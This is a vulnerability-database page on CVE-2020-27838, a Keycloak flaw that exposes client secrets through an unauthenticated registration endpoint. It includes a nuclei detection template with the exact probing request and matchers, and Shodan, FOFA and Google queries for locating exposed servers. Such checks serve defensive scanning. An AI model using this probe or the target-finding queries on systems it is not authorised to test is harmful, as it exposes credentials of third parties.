HexBrain

Browse / CVEs / CVE-2020-27838

CVE-2020-27838· redhat / keycloak· CWE-287

KeyCloak - Information Exposure

mediumseverity
6.5CVSS score
17.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.

Impact

The vulnerability allows an attacker to gain sensitive information from the KeyCloak server.

Fix

Apply the latest security patches or updates provided by the KeyCloak vendor.

How to confirm it

Send: GET {{BaseURL}}/auth/realms/master/clients-registrations/default/security-admin-console
Positive when: matches /"clientId":\s*"security-admin-console"/ AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2020-27838 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-27838

info:
  name: KeyCloak - Information Exposure
  author: mchklt
  severity: medium
  description: |
    A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the KeyCloak server.
  remediation: |
    Apply the latest security patches or updates provided by the KeyCloak vendor.
  reference:
    - https://bugzilla.redhat.com/show_bug.cgi?id=1906797
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27838
    - https://github.com/muneebaashiq/MBProjects
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-27838
    cwe-id: CWE-287
    epss-score: 0.17866
    epss-percentile: 0.97198
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redhat
    product: keycloak
    shodan-query:
      - "title:\"keycloak\""
      - http.title:"keycloak"
      - http.html:"keycloak"
      - http.favicon.hash:-1105083093
    fofa-query:
      - title="keycloak"
      - icon_hash=-1105083093
      - body="keycloak"
    google-query: intitle:"keycloak"
  tags: cve,cve2020,keycloak,exposure,redhat,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default/security-admin-console"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '"clientId":\s*"security-admin-console"'
          - '"secret":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from